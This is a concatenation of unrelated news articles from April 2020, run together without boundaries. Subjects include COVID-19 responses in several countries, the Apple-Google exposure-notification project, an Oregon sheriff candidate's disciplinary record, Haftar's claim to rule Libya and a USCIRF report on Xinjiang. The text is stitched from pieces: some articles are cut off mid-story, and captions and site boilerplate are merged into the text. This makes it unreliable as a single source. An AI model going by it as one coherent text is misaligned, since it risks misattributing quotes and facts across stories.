celebration. The visit was to commemorate his birthday with the National Chief Imam and to urge a deep divine intercession for the President, the Vice President and the government for Allah's continuous guidance to perform creditably for the good people of Ghana. Receiving the items the Chief Imam commended the kind gesture of the son of the late former Vice President and said the donation has come at the right time as most vulnerable people during Ramadan seek the support of the Imam. Alhaji Farouk said '' my donation was timeous and targeted. I am fully aware that the partial lockdown has worsened the living situation of some vulnerable people because their incomes have slowed. I am hopeful that this support will ease their burden especially in this Ramadan period The Chief Imam prayed for him for his unending support and assured him of his continuous supplication as he seeks to represent the people of Yendi in the august House of Parliament. Source: Farouk Aliu Mahama Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A little thanks goes a long way. Parkland school district students showed their appreciation for the South Whitehall Township police department Tuesday. Students and their families created signs with messages of thanks for the police and the community for its contributions including social distancing during the pandemic. The police officers took to a number of streets north of Tilghman Street, turning on their vehicles' flashing lights and sirens as they spotted students' signs. Check out the photos below from todays parade of thanks. South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com South Whitehall Township Police paraded through the neighborhoods of Parkland students who made signs thanking their local officers and community on April 28, 2020.Saed Hindash | For lehighvalleylive.com Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription. Saed Hindash may be reached at shindash@lehighvalleylive.com. Viral Video: People forced to quarantine in metal boxes as China enforces zero Covid policy Plasma therapy to begin at SGPGI, Lucknow India oi-Vicky Nanjappa New Delhi, Apr 28: After the King George's Medical University, another state-run hospital here also has plans to start plasma therapy for treating COVID-19 patients. "The Sanjay Gandhi Post Graduate Institute for Medical Sciences (SGPGI) will start plasma therapy with the cooperation of ICMR. A special team of doctors has been constituted for this purpose. We are waiting for a green signal from the ICMR," SGPGI director Prof R K Dhiman told PTI on Monday. On April 25, Tauseef Khan, a resident doctor at the King George's Medical University (KGMU) offered his plasma for the treatment of those suffering from the deadly disease. He had recently been cured of coronavirus. Kanika Kapoor offers to donate plasma for treating COVID-19 patients Khan, in his late 20s, had contracted coronavirus from a patient while working at KGMU and tested positive for the infection on March 17. Uttar Pradesh Chief Minister Yogi Adityanath had recently asked medical authorities to promote plasma therapy for the treatment of COVID-19 patients after examining its efficacy. The Chief Minister, chairing a high-level meeting of officials to take stock of the state's anti-COVID-19 fight, also stressed upon the need for thorough testing of people living in and around the areas declared as hotspots, Additional Chief Secretary (Home) Awanish Awasthi had said. The Indian Council of Medical Research (ICMR) had recently allowed states to start clinical trials of plasma therapy. Nearly, 100 medical institutes have shown interest to study how safe and efficient plasma therapy is in treating COVID-19 patients. Several states like Kerala, Gujarat and Punjab have already started using the therapy for coronavirus-infected patients. Convalescent Plasma Therapy is an experimental procedure for COVID-19 patients. In this treatment, plasma from a cured COVID-19 patient is transfused to a critically ill coronavirus patient. The idea behind this therapy is that immunity can be transferred from a healthy person to a sick patient using convalescent plasma. This therapy uses antibodies from the blood of a cured coronavirus patient to treat another critical patient. The process for donating plasma is similar to donating blood and takes about an hour. Several countries like the UK and the US have also started plasma therapy trials. CPS Energy could be facing a loss this year between $68 million and $100 million, depending on how deeply restrictions to curb the coronavirus cut into its business. Local orders to close nonessential businesses in addition to some voluntary closures such as Toyotas decision to temporarily shutter its South Side pickup plant have resulted in lower demand for electricity and natural gas. Before the pandemic, the city-owned utility had projected a profit of $3.9 million for the current fiscal year, which ends Jan. 31. President and CEO Paula Gold-Williams disclosed the potential losses at a CPS Energy board of trustees Monday meeting. On ExpressNews.com: CPS Energy cancels $13 million in bonuses amid virus crisis A sizable shortfall could push utility officials to seek a rate hike. It could also reduce the dividend payment the utility makes to the now cash-strapped city of San Antonio. Last year, the city received about $343 million from CPS Energy, and was projected to receive more than $365 million this year. But if CPS Energy deficit exceeds $100 million, the payment would drop to $320 million. COVID-19 has been a challenge because it is affecting the entire economy, Gold-Williams said. She presented two financial scenarios for the remainder of CPS Energys fiscal year. Weathering a medium effect from coronavirus-related restrictions, the utility would run a $64.8 million net loss. Under the more severe scenario, the loss would total $100.4 million. Gold-Williams said these were projections. An earlier than expected economic recovery could soften the blow. I think the biggest thing I want to tell the board and the public is we are not saying how exactly we are going to come up, she said. She made her comments before Gov. Greg Abbott announced plans Monday to allow certain businesses to re-open starting Friday. On ExpressNews.com: Gov. Abbott sets May 1 reopening for most businesses, churches, malls, libraries CPS Energy is controlling costs, Gold-Williams said, but its also incurring additional expenses, such as safety supplies for employees. It has a hiring freeze in place, except for essential positions. Our customers are buckling down. We are buckling down, she said. Mayor Ron Nirenberg, a CPS Energy trustee, said in a statement he acknowledged the pandemics toll on the utility. We will be watching the CPS Energy budget closely and will determine a prudent strategy for moving forward, he said. Gary Gold, the utilitys vice president of corporate services, said the economic slowdown could result in the utility selling less electricity to the Electric Reliability Council of Texas, which runs the statewide power grid. He estimated that the utilitys customers would use 6 percent less power this year, mainly because businesses are closed and using a fraction of the electricity they normally would. Another effect from the slowdown: CPS Energy projects about $28 million in bad debt from unpaid bills, 50 percent higher than the utility saw during the Great Recession. Utility officials are maintaining a policy of not shutting off the power of customers with overdue bills. Randy Diamond covers energy and manufacturing in the San Antonio and Bexar County area. To read more from Randy, become a subscriber. randy.diamond@express-news.net Four of the major tech giants have failed to make meaningful progress in tackling so-called fake news on their platforms over the last year, new research has found. CodeCheck 2020, a report commissioned by the Broadcasting Authority of Ireland (BAI) and undertaken by Dublin City University (DCU) researchers, examined the response of Facebook, Google, Twitter, and Microsoft relating to content carried on their platforms. DCUs Institute for Future Media and Journalism (FuJo) said that while the platforms introduced various actions for consumers, the level of engagement is mixed and inconsistent. The research followed a request from the European Commission. The Irish report was part of a larger project undertaken by broadcast regulators such as the BAI. An EU Code of Practice on Disinformation was published in September 2018, with the likes of Facebook, Twitter, Google, and Microsoft, saying they would address five key issues: Scrutiny of ad placements; Political and issue-based advertising; Integrity of services; Empowering consumers; Empowering the research community. The FuJo report said it looked at mechanisms to report fake news, providing greater information on the content visible on the platforms, greater control and transparency in relation to advertising and user preferences, and the promotion of authentic and authoritative information sources. The report said that, as well as unsatisfactory progress in tackling fake news and misinformation, supports in place for Irish research and academic institutions remain episodic and largely inadequate to assist in rigorous analysis and monitoring of online disinformation trends in Ireland. FuJo director Jane Suiter said: Our findings indicate that the most significant shortcoming of empowering consumers was the labelling of trustworthy content on digital platforms. Our researchers could not identify any news item across any platform that had been labelled as fact-checked with the corresponding verdict on its authenticity. This represents a substantial obstacle in assisting Irish consumers to make informed decisions when they encounter news online. Furthermore, the provision of data and search tools to Irelands broader research community remains limited, projects and policies designed to empower the research community appear weighted towards US groups, and are far below the needs of the research community here to conduct meaningful research. BAI chief executive Michael OKeeffe said the Covid-19 crisis has brought into sharp focus the urgency at which digital platforms must engage more meaningfully with the code. Although the report represents some progress in monitoring disinformation online, it also indicates significant weaknesses, he said. A candidate for Clackamas County sheriff was disciplined twice in his 26-year career with the agency, including once in 2008 when he purposely hit a moving motorcycle with his patrol car during a pursuit in a busy parking lot, according to the candidate and public records. Lynn Schoenfeld, 51, of Beavercreek is a retired sergeant who is running to replace longtime Sheriff Craig Roberts. He is one of four people running for the office. As the May 19 primary approaches, critics of Schoenfelds, including a former supervisor and another county employee, have raised questions about the retired sergeants judgment and integrity. Neither came to The Oregonian/OregonLive directly; sources forwarded information from both individuals. Schoenfeld defended his record. My professionalism is unblemished, he said. Its untouched. I do everything with utmost responsibility. The newsroom filed a public records request to obtain a memo prepared by the Clackamas County District Attorneys Office that said Schoenfeld was investigated for his use of force in a chase on Sept. 8, 2008. Schoenfeld was in a patrol car on Southeast 82nd Drive when he received a report of an alarm at a restaurant at the Clackamas Town Center. He was behind a motorcycle driven by Victor Voloshin, 31. Voloshin, according to the district attorneys memo, ran a red light and entered the mall parking lot. Schoenfeld activated his lights and sirens and followed Voloshin. Voloshin, the memo says, drove up to 60 mph through an area congested with pedestrians and almost struck a car. The memo states that Schoenfeld considered ending the pursuit but, concerned Voloshin would continue to speed through the area, he instead decided to use force to stop him. Voloshin slowed as he approached a turn and Schoenfeld tapped the rear of the motorcycle with his patrol vehicle, knocking Voloshin and the motorcycle to the ground, the memo says. Voloshin was bruised but not seriously hurt, according to the document. Voloshin was later convicted of attempting to elude a police officer. Prosecutors ultimately declined to prosecute Schoenfeld, saying the sergeant had a good faith basis to believe his actions were justifiable and necessary to ensure the safety of pedestrians who were potentially in Voloshins path. The decision to use this degree of force could be questioned and rejection of this case does not mean the District Attorneys Office endorses the use of this tactic on a motorcycle except in the most extreme situations, the memo states. Schoenfeld said he was the subject of an internal affairs investigation and ultimately was suspended for eight days without pay. Schoenfeld said he acted with no malicious intent. It was meant to preserve the safety of our society, and was a justifiable reasonable amount of force for the situation, he wrote in an email to The Oregonian/OregonLive. I felt my actions were completely justified and warranted. Dave Kirby, who was then undersheriff, said he reviewed Schoenfelds conduct and recommended that he be demoted and suspended without pay. The sheriff, Roberts, rejected the demotion, Kirby said. Kirby, who is now retired, said Schoenfeld overreacted to a traffic infraction and put the public at risk by trying to chase a motorcycle down. Kirby said he supports one of Schoenfelds opponents, Angela Brandenburg. Schoenfeld described a second incident in the 2005 to 2006 time period when asked if he had been the subject of any other internal affairs investigations. He said a suspect in a patrol car made a rude comment about another deputy. Schoenfeld reacted by pushing the car door closed with his foot and calling the man a knucklehead. He said he was suspended for a day without pay for pushing the door closed improperly. This week, a human services coordinator with Clackamas County Community Corrections also came forward with allegations of improper conduct by Schoenfeld while on a ride-along in November 2018. Kelli Zook said Schoenfeld transported a man who appeared to be experiencing a mental health crisis to the Multnomah County line. She said the man at one point moved to the floor of the back of the patrol car. He was in handcuffs, she said. She said Schoenfeld let him out, then turned to her and said, Now he is someone elses problem. In the same ride-along, she said Schoenfeld responded to a domestic disturbance. She said a man had been arguing with a woman and then walked off. As he left, he used profanity and made a crude reference to Clackamas County. Schoenfeld gave the man the middle finger and, she said, told the man, who was African American, to go back to where you came from. Zook reported what happened during the ride-along to a Sheriffs Office captain, who on Monday confirmed Zook had relayed the information after the ride-along. The captain said she in turn reported it to a supervisor who is no longer with the agency. Zook said she supports Brandenburg for sheriff. She said she decided to speak publicly because my fear was if that is (what happens) when somebody is watching, then what goes on when nobody is watching? Schoenfeld said his recollection of the ride-along is different from Zooks and flatly denied using an obscene gesture. I would never say, Go back to where you came from, Schoenfeld said. Its not even in my vocabulary. What type of cop would do that in front of a ride-along? I feel strongly I am being besmirched for something that didnt happen, he said. He said the ambulance wouldnt deal with the man in the midst of the mental health problem and the man himself asked to go to Multnomah County and thats why he was transported there. He said if he made a remark about the man being someone elses problem it was said in jest. And he said: I would never flip someone off on duty. -- Noelle Crombie; ncrombie@oregonian.com; 503-276-7184; @noellecrombie Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Singapore's contact tracing app, TraceTogether, which is being used as a preventive measure against the Covid-19 coronavirus in the city-state. Catherine Lai | AFP via Getty Images One of the most ambitious projects in Apple history launched in less than a month, and was driven by just a handful of employees. In mid-March, with Covid-19 spreading to almost every country in the world, a small team at Apple started brainstorming how they could help. They knew that smartphones would be key to the global coronavirus response, particularly as countries started relaxing their shelter-in-place orders. To prepare for that, governments and private companies were building so-called "contact tracing" apps to monitor citizens' movements and determine whether they might have come into contact with someone infected with the virus. Within a few weeks, the Apple project -- code-named "Bubble" -- had dozens of employees working on it with executive-level support from two sponsors: Craig Federighi, a senior vice president of software engineering, and Jeff Williams, the company's chief operating officer and de-facto head of healthcare. By the end of the month, Google had officially come on board, and about a week later, the companies' two CEOs Tim Cook and Sundar Pichai met virtually to give their final vote of approval to the project. That speed of development was highly unusual for Apple, a company obsessed with making its products perfect before releasing them to the world. Project Bubble also required that Apple join forces with its historic rival, Google, to co-develop technology that could be used by health authorities in countries around the world. The software, which Apple and Google now refer to by the softer-sounding term "exposure notification" instead of "contact tracing," is due to be released on May 1. In recent weeks, the employees have been working nights and weekends to incorporate external feedback. The companies still have their critics, but the transparency has helped them win over some unlikely supporters, including in countries like Germany where officials were initially reluctant to work with Big Tech. CNBC spoke with five people familiar with the project to find out how it happened, from the earliest incarnations to the present day. The insiders declined to be named because they were not authorized by their companies to speak openly about the project. Two approaches: Bluetooth vs GPS Edouard Bugnion, a Swiss computer architect Edouard Bugnion Traditional contact tracing has been used to slow the spread of pandemics for years. It begins when a public health hears about an infected person and checks in with them to find out where they've been, and whom they might have come into contact with. A health official will then track down those people and suggest they get tested or socially isolate themselves. Personal technology like cellphones can be used to facilitate digital contact tracing. A phone has various technologies that can be used to pinpoint where a user has been, and which other phones have come nearby, without requiring them to remember exactly where they were and who was nearby. As the coronavirus pandemic took off, authorities turned to digital contact tracing as a possible way to help track and slow the spread of the disease without having to hire a large number of human tracers. Some early contact tracing apps like Trace Together in Singapore used a phone's Bluetooth signal, which has a range of about 30 feet, to figure out when two phones were near each other. Strong signals suggest that two people are very close, while weak ones suggest that they're too far apart for there to be potential exposure (although experts like Ashkan Soltani, the former CTO for the Federal Trade Commission have warned it's by no means a perfect system). If a person was identified with coronavirus, they could let Singapore's Ministry of Health look at the app data and notify other people who had been near them recently. But there was a big usability problem. On an iPhone, the app had to be running all the time in the foreground, or it stopped working. That meant that phones needed to remain unlocked -- a nightmare scenario if they got stolen -- and burned through battery life quickly. Apple App Store reviews for Trace Together included complaints from users that the app was preventing them from receiving notifications while they were out and about. The alternative was to use GPS, which countries like China and South Korea had already leveraged to track exposure. But apps that tracked location draw immediate concern from privacy advocates. One human rights group went as far as to refer to the location-tracking apps in China as "automated tyranny." Involving Apple On March 21, a Swiss engineering professor Edouard Bugnion reached out to Apple's developer relations team to voice some of these concerns. Bugnion, the founding CTO of VMWare, recognized then that digital contact tracing apps would need Apple's help to work well and preserve user privacy. He wasn't the only one. Within a day or two, these issues came to the attention of Apple's Myoung Cha, who's responsible for the business side of the company's growing health team. Cha, a senior strategist for the company's health care division, reports to the company's COO, Jeff Williams. Cha and a small team at Apple were already exploring methods of using smartphones for contact tracing. The early team included Ron Huang, who runs Apple's location services group, and Dr. Guy "Bud" Tribble, a veteran Apple software vice president who is referred to internally as the "privacy czar." Tribble, who is also a medical doctor, is known outside of Apple for speaking out in favor of federal privacy legislation, noting at a Senate hearing that in 2018 that privacy should be a human right. Huang agreed to loop in a group of engineers who were willing to volunteer their time to the project. They included some of the company's in-house cryptography experts, Yannick Sierra and Frederic Jacobs (Jacobs has been credited for helping create the secure messaging app Signal). The team began researching some of the protocols for electronic contact tracing already underway at the Massachusetts Institute of Techology and EPFL, a similarly well-regarded research university in Switzerland. Their idea would be to use Bluetooth to track phones' proximity without detailed location data, like the Singapore app -- but in a way that wouldn't require apps to be running all the time. The Apple employees also favored decentralized approaches. The idea was that a phone belonging to a user who had tested positive would send anonymous alerts directly to other phones that it had been nearby, instead of uploading all this information to a government or other central authority. This would prevent governments from building a database with detailed location or proximity information. The Apple team also believed any system would need to be "opt-in," where the individual gives consent to share information with other phones. Cha shared this thinking on a call with Bugnion on April 6. "It was very clear to me from day one that Apple wanted to ensure the highest level of privacy," Bugnion recalled. The team knew they needed to execute quickly. By then, public health officials in many countries were taking contact tracing seriously as a way to help end lockdowns quickly and safely. A group of researchers from Oxford University had already seen promising results from a theoretical model: "Our models show we can stop the epidemic if approximately 60% of the population use the app, and even with lower numbers of app users, we still estimate a reduction in the number of coronavirus cases and deaths," noted Christophe Fraser, senior author of the latest report from Oxford University's Nuffield Department of Medicine. Bringing in Google Dave Burke, vice president of engineering at Google, speaks about the new Google Nexus 6P during an event on Tuesday, Sept. 29, 2015, in San Francisco. Tony Avelar | AP Employees at Google were thinking through similar ideas. The key employees taking the lead on the Google side included Yul Kwon, a senior director for the company and a former deputy chief privacy officer at Facebook (incidentally, Kwon is well known outside of Google as the winner of the 2006 show "Survivor: Cook Islands.") Senior product manager Ronald Ho, who works on Bluetooth and connectivity efforts, was also heavily involved from the outset. Google had its own codename for the project, separate from Apple's: "Apollo." Eventually, the team presented their ideas to Google's vice president of Android, Dave Burke, who talked it through Apple's Cha. It wasn't a foregone conclusion that the two companies, which have a long history of bitter competition in smartphones, would cooperate. Apple co-founder Steve Jobs was convinced that Android had been built to mimic Apple's iOS, and the two companies had a bitter legal fight before settling their differences in 2014. Although they coexist more peacefully now, they're still tough rivals, with the two dominant smartphone platforms in the world. But in this case, they knew they had to come together. A system for exposure notification needed to be interoperable, otherwise there would be huge gaps in coverage. The two companies couldn't formally announce plans to work together until they got a green-light from their CEOs. So Apple CEO Tim Cook and Alphabet CEO Sundar Pichai hashed it out on a virtual meeting several days ahead of the official announcement on April 10th. "Contact tracing can help slow the spread of COVID-19 and can be done without compromising user privacy," Apple CEO Tim Cook tweeted triumphantly to announce the initiative. The privacy stance Getty Images Russia Tuesday said it is surprised after east-based Libyan rebel Gen. Khalifa Haftar on Monday proclaimed himself the ruler of war-torn oil-rich African country, reports say. A diplomat at the Russian foreign ministry who asked not be named because not allowed to speak on the matter argued that the move by Haftar breaches UN Security Council resolution calling for negotiated solution among all Libyans. This is surprising. There are decisions of the Berlin summit, and more importantly the UN Security Council resolution 2510, which must be implemented first of all by the Libyans themselves with the assistance of the international community, the UN secretary-general, the diplomat told state-run RIA news agency. We advocate for the continuation of an inclusive inter-Libyan dialogue within the framework of the political process, and there is no military solution to the conflict, the official said. Haftar who has been opposed to the UN-backed Government of National Accord (GNA) on Monday in a video he accepted the popular mandate to govern the country, using as a pretext street demonstrations in the areas under his control. Backed by Egypt, UAE, Saudi Arabia, France and Wagner Group; a pro-Moscow mercenary company has been since April last year pushing to unseat the GNA after he launched a surprise military offensive. With Turkey and Qatars backing, the GNA has managed to derail the military pushing after recovering several key positions from Haftar forces this month. Laura Whitmore was friends with the late Caroline Flack before she replaced her on Love Island. (AP) Laura Whitmore has admitted she will never be okay with Caroline Flacks death. Flack tragically took her own life aged 40 in February 2020. The 34-year-old TV presenter confessed seeing her friends life collapse under the pressure of fame had left her frightened. Whitmore told Cosmopolitan UK magazine: "It'll never be okay and it'll never be right. It did scare me. "She was so strong-willed and feisty and I remember thinking, 'God, I wish I could be as strong as her'. I felt like if people said things, it wouldn't bother her. But obviously it did because everyone is human. Caroline Flack and Laura Whitmore at the Rita Ora aftershow party at Mahiki London 2013. (Getty Images) "I don't want to speculate reasons because nobody will ever know. [But] it did frighten me." She added: I hope now that people have had an insight into what she had to deal with. Read more: Caroline Flack's death was unbelievably tragic, says ITV boss Flacks death followed continued media attention on her life and she faced a trial after being charged with assaulting her boyfriend Lewis Burton, although he did not want the prosecution to go ahead. Whitmore had taken her place as the host of ITVs Love Island after Flack stepped down amid the public scrutiny on her personal life. The Irish presenter is dating Love Islands narrator Iain Stirling, 32. Iain Stirling and Laura Whitmore have been dating since 2017. (Getty Images) She said: "Obviously you're delighted that ITV trust you to do such a big show, but a friend of yours is also going through hell... Caroline had messaged me first to say, 'I hope you get it', which was really nice. Read more: 'I still message Caroline Flack: Scarlett Moffatt reveals "You're like, 'Oh yay, I get to do this but, no, this isn't how I want to get to do it. It was a really weird way to get a job." For confidential emotional support at times of distress, contact The Samaritans at any time by calling 116 123 or emailing jo@samaritans.org. Listen to Laura Whitmore talking to Kate Thornton about the perils of life in the spotlight on Yahoos White Wine Question Time podcast below. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Ottawa, Canada Tue, April 28, 2020 10:12 625 fc6853813033f564188675f8bd49c558 2 World Canada,coronavirus,COVID-19,COVID-19-lockdown,COVID-19-quarantine,pandemic,reopening Free Canada began a staggered loosening of pandemic restrictions on Monday as Prime Minister Justin Trudeau urged vigilance and baby steps to avoid a COVID-19 resurgence. The Atlantic coast province of New Brunswick, after seeing no new cases in a week, was first to relax social distancing rules starting with the opening of parks and beaches. Saskatchewan is set to allow businesses to reopen next week. And Ontario and Quebec, which recorded the most coronavirus cases, largely at nursing homes, were to unveil their respective schedules this week for the reopening of their economies. "Different provinces and territories will be able to move at a different pace," Trudeau told a daily briefing. He stressed the need for a gradual and coordinated approach "to make sure we do this very carefully, based on absolutely the best scientific advice." "If we get this wrong, everything we have done, everything we have sacrificed over the past many weeks, could have been in vain," he warned. Federal guidelines for reopening of businesses include ramping up testing for the coronavirus and ensuring there is sufficient healthcare capacity "to handle a possible surge" in cases. Each province, however, is responsible for setting its own conditions for lifting restrictions. Trudeau said he has "tremendous confidence" in each province's plan. However, he said Canadians should brace for a resurgence of cases in the fall and not expect a return "to normal" anytime soon. "Historians remember from the 1918 Spanish Flu epidemic that the spring was pretty bad," Trudeau said. "But the fall was much worse." Canadians need to "stay vigilant, every step of the way" until there is an effective treatment or vaccine, he said. The coming months, Trudeau said, will see a "careful reopening in certain sectors of the economy and certain things being allowed as people try to get back to something a little more like normal." "Normal is something that is a long way off for all of us," he added. "And if we want life to get back to the way it was exactly before, it won't." As of Monday, there were 48,229 coronavirus cases in Canada, including 2,781 deaths. Xinjiang Party Secretary Chen Quanguo speaks during a meeting of the Xinjiang delegation at the National People's Congress at the Great Hall of the People in Beijing, March 12, 2019. A U.S. bipartisan commission called on Tuesday for sanctions against entities deemed responsible for the persecution of Muslims in Chinas Xinjiang Uyghur Autonomous Region (XUAR) and for the country to be placed on a State Department blacklist of the worlds worst abusers of religious freedoms. U.S. President Donald Trumps administration should impose targeted sanctions on Chinese government agencies and officials responsible for severe violations of religious freedomparticularly Xinjiang Communist Party Secretary Chen Quanguo and former Political and Legal Affairs Commission Chief Zhu Hailun, the U.S. Commission on International Religious Freedom (USCIRF) said in an annual report. Specifically, the report called for a freeze on the officials assets and a bar on their entry into the United States under human rights related financial and visa authorities, citing specific religious freedom violations. Additionally, the USCIRF recommended that Washington redesignate China as a Country of Particular Concern (CPC) for engaging in systematic, ongoing, and egregious religious freedom violations. USCIRF said China had created a high-tech surveillance state using facial recognition and artificial intelligence to monitor religious minorities, including in the XUAR, where authorities are believed to have detained up to 1.8 million Uyghurs and other Muslim minorities in more than 1,300 internment camps since April 2017numbers it noted had been revised upward since the previous reporting period. On April 1, a new regulation requiring religious venues to have legal representatives and professional accountants went into effect, it said, noting that some smaller religious venues, especially in rural areas, found these requirements impossible to fulfill. USCIRF said behavior deemed to be signs of religious extremism, such as wearing long beards and refusing alcohol, regularly lead to detention in the XUARs camps, where former detainees have reported being subjected to torture, rape, sterilization, and other abuses. It also noted that nearly half a million Muslim children have been separated from their families and placed in boarding schools in the region. In 2019, internment camps in the XUAR increasingly transitioned from reeducation to forced labor as detainees were forced to work in cotton and textile factories, the report said, while the government continued to deploy officials to live with Muslim families and report any signs of extremist behavior. Additionally, authorities in the region, and throughout China, have destroyed or damaged thousands of mosques and torn down Arabic-language signs from Muslim businesses, it said. USCIRF called on the U.S. Congress to support the Uyghur Forced Labor Prevention Act, which would prohibit the importation to the United States of textiles, cotton, and other goods from the XUAR. Tibet and elsewhere The commission noted that in 2019, the Chinese government also continued to pursue a strategy of forced assimilation and suppression of Tibetan Buddhism, in particular through laws designed to control the next reincarnation of exiled Tibetan spiritual leader the Dalai Lama and those of other Tibetan eminent lamas. During the summer of 2019, authorities demolished thousands of residences at the Yachen Gar Tibetan Buddhist center in Sichuan province, it said, while in April last year, authorities closed the Larung Gar Buddhist Academy in Sichuan to new enrollment. In protest of repressive government policies, at least 156 Tibetans have self-immolated since February 2009. USCIRF urged Congress to support the Tibetan Policy and Support Act of 2019 which would promote religious freedom in Tibet and penalize the Chinese government for interfering in the Dalai Lamas succession. Tuesdays report also noted that Chinese authorities raided or shut down hundreds of Protestant house churches in 2019 and arrested thousands of Falun Gong practitioners for practicing the movements meditation exercises or distributing literature about their beliefs. In a statement, USCIRF commissioner Tenzin Dorjee called China the classic example of a country of particular concern, or CPC, when it comes to religious freedom violations. Millions of Uighurs are kept in concentration camps and according to the latest Freedom House Report, Tibet is second only to Syria in terms of religious freedom and human rights violations, he said. The time is now for serious multilateral government and global policy actions to end systematic, ongoing, and egregious religious freedom and human rights violations in China, including in Tibet and Xinjiang. At war with faith Speaking to RFAs Tibetan Service on Tuesday, U.S. Ambassador at Large for International Religious Freedom Sam Brownback called for an end to these systematic violations of religious freedom in Xinjiang, in Tibet, to the house church, to Falun Gong members, that are taking place throughout China. This surveillance state has been growingthis is a feature of Chen Quanguo, the Communist Party chairman in Xinjiang who previously was in Tibet, he said. Hes done it in Tibet, hes doing it in Xinjiang, and it needs to stop Chinas been at war with faith now and certainly in recent years that war has intensified. They will not win this war against their own peoples faith. The U.S. State Department also issued a statement Tuesday calling on Beijing to release those arbitrarily detained in the XUAR and to end its draconian policies in the region. During this month-long observance of Ramadanand at all times, we call on the PRC (Peoples Republic of China) government to ensure that all Muslims and all religious believers can practice their faith in accordance with their beliefs, the statement said. Contrary to Beijings narrative, those detained in internment camps are being held against their will, often times for simply exercising their right to freedom of religion or belief, including praying or wearing religious attire. Dolkun Isa, president of the Munich-based World Uyghur Congress (WUC) exile group, welcomed USCIRFs report, which he said, clearly highlighted the horrific treatment of the Uyghur Muslims under Chinas brutal rule. Without question, the Uyghur Muslims religious freedom has faced eradication by China while more than a billion Muslims around the world are celebrating Ramadan fasting and praying, he told RFAs Uyghur Service. I call on China to release the 3 million Uyghur and Kazakh Muslims detained in concentration camps, [as well as] Tibetan Buddhists and Chinese Christians from prison, he added, using his organizations estimate of the number of people held in the XUARs detention centers. Matteo Mecacci, president of Washington-based International Campaign for Tibet ICT), applauded USCIRFs call for the passage of the Tibetan Policy and Support Act in a statement Tuesday. He urged Congress and the White House to adopt the act, which he said would send a strong message to the communist government in Beijing that its attempts to control and dominate the lives of Tibetan Buddhists and other people of faith will face serious consequences from the United States and its allies. Reported by RFAs Uyghur and Tibetan Services. Translated by Alim Seytoff. Written in English by Joshua Lipes. A woman takes a self-administered COVID-19 test, under the instruction of a health worker, at a drive-up testing site outside Jackie Robinson Stadium off the UCLA campus. (Genaro Molina / Los Angeles Times) When the coronavirus hit, Los Angeles County faced a testing crisis. Officials had only one test processing machine at its laboratory in Downey and had little hope of getting help from the federal government. Swabs were scarce. Laboratories were backlogged. And there werent enough healthcare workers to take samples from patients. So they turned to a brand-new Silicon Valley start-up with a novel approach that said it could provide a large number of drive-through tests very quickly. That company, Curative-Korva, now performs most of the public testing across Los Angeles County for COVID-19, the disease caused by the novel coronavirus. The firm, started in January by a 24-year-old scientist and entrepreneur, processes nearly 6,000 samples per day at dozens of pop-up sites and claims to provide nearly 20 percent of all testing for the virus in California. The companys rapid growth owes in part to a unique approach that allows patients to self-administer the tests by swabbing their own mouths after coughing. The advantages? It's painless. Less protective gear is needed. And both patients and workers face less infection risk. But the oral-based approach is not the one preferred by the Food and Drug Administration, which recommends an uncomfortable swabbing deep inside the nose, the more widely used technique. And the test, like all others being used for the virus, has not been approved by the FDA but instead met a lower standard of authorization on an emergency basis only. This makes Los Angeles County an unlikely laboratory for COVID-19 testing. If Curative's approach works, it could usher in a much more streamlined form of testing across the country at a time when tallying the number of those infected is essential to reopening the economy. But if the approach turns out to be less accurate than others, it could mean some of the measurements tracking the extent of the outbreak are muddier than previously known. Curative is quickly expanding its reach, having landed a $13-million deal with the U.S. Air Force as well as providing testing for the states of Florida and Alaska. Story continues The company's executives, citing a 45-person study they did in partnership with two UCLA doctors, say their approach is just as accurate as the nasal-based test, but some public health experts are concerned that less of the virus can be picked up in oral fluids than in the back of the nose. Nevertheless, many agree that sacrificing some certainty about the test's accuracy for wider availability is a reasonable trade-off during a pandemic. This kind of test is better than nothing, said Elodie Ghedin, a molecular virologist at New York University. California still lags behind many states on testing, which is crucial for reopening the economy. Gov. Gavin Newsom said last week he wants to increase testing from more than 16,000 per day to 80,000 in the near future. In Los Angeles County, officials turned to at least six testing companies, including Seegene, a South Korean firm which played a key role in testing in that country. Firefighters initially staffed some of the pop-up stations in Los Angeles and the city even accepted help from actor Sean Penns nonprofit group to provide volunteer workers at the stations. Curative quickly became the biggest provider of tests in Los Angeles. Backed by the venture capital firm DCVC, the start-up was initially created to develop tests for sepsis but pivoted to COVID-19 once the outbreak accelerated into a pandemic. The company is one of dozens that fast-tracked its own test and obtained emergency authorization from the FDA after the agency announced in late February that it was lifting regulatory hurdles. Companies with emergency authorization are not allowed to promote their tests as safe or effective for the detection of the virus. The policy spares the companies from having to meet approval guidelines that can take as long as two years. Weve not seen anything like this, Carmen Wiley, president of the American Assn. for Clinical Chemistry, said of the scramble by the nation's labs to provide the tests. What sets the Curative test apart is its collection method: Patients, sitting in their cars, cough a few times to bring up fluid from the lungs and then swab the inside of their cheeks and roofs of their mouths. They put the specimen in a vial, seal it up and drop it in a bin, without having to come into close contact with workers. The company says the tests, analyzed nearby at KorvaLabs in San Dimas, are turned around in 24 hours on average. Curative has provided the tests at numerous sites from Santa Clarita to East Los Angeles to the Los Angeles County Fairplex in Pomona. Marc Eckstein, chief advisor on emergency medicine to Mayor Eric Garcetti and member of the citys task force on the virus, said city leaders felt comfortable using Curatives oral-swab test given the shortage of equipment and professionals to administer the tests. Conducting mass testing using nasal swabs was not possible for the 